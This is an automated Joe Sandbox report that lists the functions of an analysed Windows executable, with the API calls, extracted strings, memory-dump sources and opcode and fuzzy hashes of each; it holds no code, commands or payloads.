Opcode Fuzzy Hash: c9eb0ee63eef218e3e4024633145c7d9f5f524d5c2e7e008d99a4a4328355bda
Instruction Fuzzy Hash: 8CC15EB0D002199FDF10DFA4DC8ABEEBBB4BF14305F008559E905A7282EB746A48CF95

Function 00422500 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 323COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 004225CB
std::_Lockit::_Lockit.LIBCPMT ref: 00422686
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 004226E1
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00422823
std::_Lockit::~_Lockit.LIBCPMT ref: 004228C7
Concurrency::cancel_current_task.LIBCPMT ref: 004228F9
std::_Lockit::_Lockit.LIBCPMT ref: 00422936
std::_Lockit::_Lockit.LIBCPMT ref: 00422959
std::_Lockit::~_Lockit.LIBCPMT ref: 00422979
std::_Lockit::~_Lockit.LIBCPMT ref: 00422A0D

Strings

true, xrefs: 00422795
false, xrefs: 0042277F

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskLocinfo::_$Locinfo_ctorLocinfo_dtor
String ID: false$true
API String ID: 1411682675-2658103896
Opcode ID: 821f6efc0ee98f9b46f230bf279634703a466ee2022facb1af6afc8ddb75ae01
Instruction ID: cf7623c58f7aa8594e470dd28c408c7aa08a8284061476c03c61211121660e6a
Opcode Fuzzy Hash: 821f6efc0ee98f9b46f230bf279634703a466ee2022facb1af6afc8ddb75ae01
Instruction Fuzzy Hash: 4CC18FB1D003199BDF10DFA4DD45BEEBBB8BF59304F14426AE808A7241EB74DA44CBA1

Function 004473E0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83librarynativeloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(ntdll.dll,NtQueryInformationProcess,?,?,?,?,004645FF), ref: 0044742D
GetProcAddress.KERNEL32(00000000), ref: 00447434

Part of subcall function 00598AE7: AcquireSRWLockExclusive.KERNEL32(006E820C,00000018,?,00447449,006EE44C,?,?,?,?,004645FF), ref: 00598AF1
Part of subcall function 00598AE7: ReleaseSRWLockExclusive.KERNEL32(006E820C,?,00447449,006EE44C,?,?,?,?,004645FF), ref: 00598B24
Part of subcall function 00598AE7: WakeAllConditionVariable.KERNEL32(006E8208,?,00447449,006EE44C,?,?,?,?,004645FF), ref: 00598B2F

GetCurrentProcess.KERNEL32(0000003D,?,00000001,?,?,?,?,?,004645FF), ref: 0044747A
NtQueryInformationProcess.NTDLL ref: 00447489

Part of subcall function 00598B38: AcquireSRWLockExclusive.KERNEL32(006E820C,000000D4,00000018,?,00447417,006EE44C,00000018,?,?,?,?,004645FF), ref: 00598B43
Part of subcall function 00598B38: ReleaseSRWLockExclusive.KERNEL32(006E820C,?,00447417,006EE44C,00000018,?,?,?,?,004645FF), ref: 00598B7D

Strings

ntdll.dll, xrefs: 00447428
NtQueryInformationProcess, xrefs: 00447423

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ExclusiveLock$AcquireProcessRelease$AddressConditionCurrentHandleInformationModuleProcQueryVariableWake
String ID: NtQueryInformationProcess$ntdll.dll
API String ID: 3691736339-2906145389
Opcode ID: 202e33aefc41b2632f4aa446bdc6a2b6bc6ca661f5c4e0c5d8eac467079c83b2
Instruction ID: 10f8dd5fc87b83fc6153498ec12b2cc11439e6bb86fcdd34f18a327fa5e0c46f
Opcode Fuzzy Hash: 202e33aefc41b2632f4aa446bdc6a2b6bc6ca661f5c4e0c5d8eac467079c83b2
Instruction Fuzzy Hash: 67216B726483009BD610EF64EC4797B7BD5FB84314F08855BF84A87281DB35A80ACB97

Function 00413750 Relevance: 9.2, Strings: 7, Instructions: 430COMMON

Download Yara Rule

Strings

Argument not found., xrefs: 0041397A
Can not switch from automatic to manual indexing, xrefs: 00413966
Invalid format string., xrefs: 0041395C
Unmatched '}' in format string., xrefs: 00413A43
Can not switch from manual to automatic indexing, xrefs: 00413970
Missing '}' in format string., xrefs: 0041398E
Unknown format specifier., xrefs: 00413984

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID:
String ID: Argument not found.$Can not switch from automatic to manual indexing$Can not switch from manual to automatic indexing$Invalid format string.$Missing '}' in format string.$Unknown format specifier.$Unmatched '}' in format string.
API String ID: 0-4017217274
Opcode ID: ff8d213a2bdca9b3e7733e1b78860b13a896f899e4bb7c07b423495a34a6a61d
Instruction ID: f79cf2644e035a3f9f3222a29b6e093538ab34337bd0014c558f2b41c7b21a4b
Opcode Fuzzy Hash: ff8d213a2bdca9b3e7733e1b78860b13a896f899e4bb7c07b423495a34a6a61d
Instruction Fuzzy Hash: B9F1D4B0E002199FCB14DF58C884AEEFBB5FF44315F14416AD809A7381EB78AE85CB95

Function 005BBE09 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,005BC127,00000002,00000000,?,?,?,005BC127,?,00000000), ref: 005BBEA2
GetLocaleInfoW.KERNEL32(?,20001004,005BC127,00000002,00000000,?,?,?,005BC127,?,00000000), ref: 005BBECB
GetACP.KERNEL32(?,?,005BC127,?,00000000), ref: 005BBEE0

Strings

OCP, xrefs: 005BBE5D
ACP, xrefs: 005BBE27

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: b9765bfdc6aeb16f25c13fd3306673c28e3c01fb4253cf8b8d1f6275ac5300ce
Instruction ID: 994149b3dee1853b7ff77f1c994d88551c1e7ba38d46bc4757817def28ac469c
Opcode Fuzzy Hash: b9765bfdc6aeb16f25c13fd3306673c28e3c01fb4253cf8b8d1f6275ac5300ce
Instruction Fuzzy Hash: 4121A776A001009AFB30CF15C941AE77BAFBB54B54B568424EA06C7224EBF2FE40D350

Function 005BBFDE Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005B2AD9: GetLastError.KERNEL32(00000010,00000000,005BAEA1,00684008,0000000C,005B2EFC,0000000C,?,005A817D,00000000,0000000C,?,00000000,00000000,00000000), ref: 005B2ADD
Part of subcall function 005B2AD9: SetLastError.KERNEL32(00000000,00000000,00000000,00428E4F,00000000,?,00428E4F,?,?,?,005AF17A,?,?), ref: 005B2B7F

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 005BC0EA
IsValidCodePage.KERNEL32(00000000), ref: 005BC133
IsValidLocale.KERNEL32(?,00000001), ref: 005BC142
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 005BC18A
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 005BC1A9

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 0faa74abfc4e8f8173aad421f1c8bdf1fe20baf5e9135cfeeaa0e1dd9a871173
Instruction ID: 4fe7bd7d9f394e2206d2b353a545284900572ec0959cdac1f8d22c628f08eb2b
Opcode Fuzzy Hash: 0faa74abfc4e8f8173aad421f1c8bdf1fe20baf5e9135cfeeaa0e1dd9a871173
Instruction Fuzzy Hash: 4E517371A0060AEBEB10EFA5CC49AFE7FB8FF48700F144469E510E7151E7B1AA44DB65

Function 005BB65F Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 257COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005B2AD9: GetLastError.KERNEL32(00000010,00000000,005BAEA1,00684008,0000000C,005B2EFC,0000000C,?,005A817D,00000000,0000000C,?,00000000,00000000,00000000), ref: 005B2ADD
Part of subcall function 005B2AD9: SetLastError.KERNEL32(00000000,00000000,00000000,00428E4F,00000000,?,00428E4F,?,?,?,005AF17A,?,?), ref: 005B2B7F

GetACP.KERNEL32(?,?,?,?,?,?,005B0334,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 005BB720
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,005B0334,?,?,?,00000055,?,-00000050,?,?), ref: 005BB74B
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 005BB8B4

Strings

utf8, xrefs: 005BB81D

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: 110aeae309442fc91d0f6823928c7cce04e7f8687c03cd0954068a91bb5eb420
Instruction ID: a861a28593ff5c92bef002353b16ab7a67fc6b07777f7286e7983d82bbab0cdd
Opcode Fuzzy Hash: 110aeae309442fc91d0f6823928c7cce04e7f8687c03cd0954068a91bb5eb420
Instruction Fuzzy Hash: 7771C371A00606AAFB24AB75CC8ABFA7BACFF84700F14446AF505D7181EBF4F9408761

Function 0043E6A0 Relevance: 6.4, APIs: 4, Instructions: 443fileCOMMON

Download Yara Rule

APIs

LockFileEx.KERNEL32(00000000,00000000,00000000,000000FF,00000000,?), ref: 0043EB92
UnlockFileEx.KERNEL32(?,00000000,FFFFFFFF,00000000,?), ref: 0043EBBE
SetLastError.KERNEL32(00000000,?), ref: 0043EBD5
CloseHandle.KERNEL32(00000000), ref: 0043EC2D

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: File$CloseErrorHandleLastLockUnlock
String ID:
API String ID: 1994953073-0
Opcode ID: 8ecbd7269ef95a6310997de80e560a70d22b873aeb3bea6c15f7281fc31dcfbb
Instruction ID: 603ac7723bd0bab669420d1681f848374cf34351bd4be9d61aa1ecfd5fa6485a
Opcode Fuzzy Hash: 8ecbd7269ef95a6310997de80e560a70d22b873aeb3bea6c15f7281fc31dcfbb
Instruction Fuzzy Hash: 3702BE71D01208CFDB10DFA9C945B9EBBB4BF48314F14825EE819A7391EB78AA84CF55

Function 00456AC0 Relevance: 6.1, APIs: 4, Instructions: 111nativeregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 00459B90: RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,B6184AA8,00000000,006EEA78), ref: 00459C4E

Part of subcall function 00456C50: RegDeleteTreeW.ADVAPI32(?,00000000,?,0000000B), ref: 00456CD3
Part of subcall function 00456C50: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104,?), ref: 00456D02
Part of subcall function 00456C50: SetLastError.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104,?), ref: 00456D0D

Part of subcall function 004569E0: NtQueryKey.NTDLL ref: 00456A57

Part of subcall function 004568B0: NtOpenKey.NTDLL ref: 00456963

NtDeleteKey.NTDLL(00000000), ref: 00456BAB

Part of subcall function 004555C0: ___std_exception_copy.LIBVCRUNTIME ref: 004556FF

NtClose.NTDLL ref: 00456BCF
RegCloseKey.ADVAPI32(?), ref: 00456BF7
SetLastError.KERNEL32(00000000), ref: 00456C02

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: Close$DeleteErrorLastOpen$QueryTree___std_exception_copy
String ID:
API String ID: 2906706713-0
Opcode ID: 598aaa1771ce59225e3515d61032cd19439a527cc7c5f01fb14ab679af029c9b
Instruction ID: 390df49f402f1a868df22effdc927043286c2cf9af0c04a1180323a41791a2d5
Opcode Fuzzy Hash: 598aaa1771ce59225e3515d61032cd19439a527cc7c5f01fb14ab679af029c9b
Instruction Fuzzy Hash: 92415EB0D042589FDF14DBA9C8497EEBBB4FF18314F44425EE805B7281EB785948CB65

Function 00415590 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 283COMMON

Download Yara Rule

Strings

/Kim, xrefs: 00415625

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID:
String ID: /Kim
API String ID: 0-585551710
Opcode ID: bb438970d2cab941da707cf3bba5943e256797ba214d4bf120b686390ca954ec
Instruction ID: 763d1d71530dcf8b2ef08e7710dc70cff974d1e4ab9112776c6ab1e8fda30a03
Opcode Fuzzy Hash: bb438970d2cab941da707cf3bba5943e256797ba214d4bf120b686390ca954ec
Instruction Fuzzy Hash: 8C91CD32F00A188BCB088EADD8856EDFBA6EBC9310F59416FE449DB342D6785C46C794

Function 004160F0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 258COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004162F6
__aulldvrm.LIBCMT ref: 00416329

Strings

/Kim, xrefs: 00416147

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: __aulldvrm
String ID: /Kim
API String ID: 1302938615-585551710
Opcode ID: 6026a49ebb0e627ca23697cf513729cc6324032cd3d521db88a393bb1ad55f97
Instruction ID: 12076f1c4f4fbee421aac7e8b4a3602201a5cbcf9a4c138efb6082e171ec4561
Opcode Fuzzy Hash: 6026a49ebb0e627ca23697cf513729cc6324032cd3d521db88a393bb1ad55f97
Instruction Fuzzy Hash: E181B172F046184BCB08CEADCC846EDFBE6EBD9310F1A416EE849DB341D6789C468754

Function 005BBA80 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 005B2AD9: GetLastError.KERNEL32(00000010,00000000,005BAEA1,00684008,0000000C,005B2EFC,0000000C,?,005A817D,00000000,0000000C,?,00000000,00000000,00000000), ref: 005B2ADD
Part of subcall function 005B2AD9: SetLastError.KERNEL32(00000000,00000000,00000000,00428E4F,00000000,?,00428E4F,?,?,?,005AF17A,?,?), ref: 005B2B7F

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 005BBAD4
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 005BBB1E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 005BBBE4

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 2b23f70220f27c8c4f091245019ee652f0b905d1c040c5e95a4cc6c752babdfe
Instruction ID: 1621465c0468b49eeef357183825724f6b84b711af8c1d05efc76e7cc8ad2157
Opcode Fuzzy Hash: 2b23f70220f27c8c4f091245019ee652f0b905d1c040c5e95a4cc6c752babdfe
Instruction Fuzzy Hash: 95613C7191010B9BEB28DF25CC86BBA7BB8FF54300F14417AE905C6585EBB4ED91DB50

Function 005A3B93 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,B6184AA8), ref: 005A3C8B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,B6184AA8), ref: 005A3C95
UnhandledExceptionFilter.KERNEL32(00428B27,?,?,?,?,?,B6184AA8), ref: 005A3CA2

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 8ba89530feea07b5a78fa8e11da7f14cfe3317fabdf9bc11ef10a496a8a47936
Instruction ID: 0cbc8b9cf4deb3923e6fff5cb7fbce58f11846567333ed3c5b2d240c13a1ae9a
Opcode Fuzzy Hash: 8ba89530feea07b5a78fa8e11da7f14cfe3317fabdf9bc11ef10a496a8a47936
Instruction Fuzzy Hash: C731D474901219ABCF21DF28DC89B9CBBB8BF58310F5041EAE41CA6290EB749F85CF44

Function 004568B0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 87nativeCOMMON

Download Yara Rule

APIs

NtOpenKey.NTDLL ref: 00456963

Strings

Unable to open registry key handle using NtOpenKey, xrefs: 004569AE

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: Open
String ID: Unable to open registry key handle using NtOpenKey
API String ID: 71445658-2914423694
Opcode ID: bd9c3f973cfa80fc92933c626f2e1bd01179b6c8c851142fdbb1f0c00a3bf337
Instruction ID: 9d3ec2d7b65e55a310bec33a7f07fc89a0f3a81c8914f14c714b3c99244c15a6
Opcode Fuzzy Hash: bd9c3f973cfa80fc92933c626f2e1bd01179b6c8c851142fdbb1f0c00a3bf337
Instruction Fuzzy Hash: CB311EB1D1021D9BDF14DF94D855BEEBBB9FF48714F10412EE405A7280EBB86A44CB94

Function 045A4390 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,045A1D64,?,?,?,00000000), ref: 045A4395
UnhandledExceptionFilter.KERNEL32(?,?,?,00000000), ref: 045A439E

Memory Dump Source

Source File: 00000000.00000002.2026335847.00000000045A0000.00000040.10000000.00040000.00000000.sdmp, Offset: 045A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_45a0000_107.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 9c86be4ea7b491b2510d9fc042ee8854ab6dcc7121e6808c006ef07627f3a15d
Instruction ID: 5ed17e7de3e7f4c93a4ed4cbdda0626aa5b8ec527c0205e7fde996e43bb53a3d
Opcode Fuzzy Hash: 9c86be4ea7b491b2510d9fc042ee8854ab6dcc7121e6808c006ef07627f3a15d
Instruction Fuzzy Hash: B3B09232448208FBCB003B91F809B587F3AFB05752F018010F60D44861EB7A582AAAA6

Function 0040A2A0 Relevance: 2.9, Strings: 2, Instructions: 434COMMON

Download Yara Rule

Strings

%, xrefs: 0040A6D1
+, xrefs: 0040A6E0

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
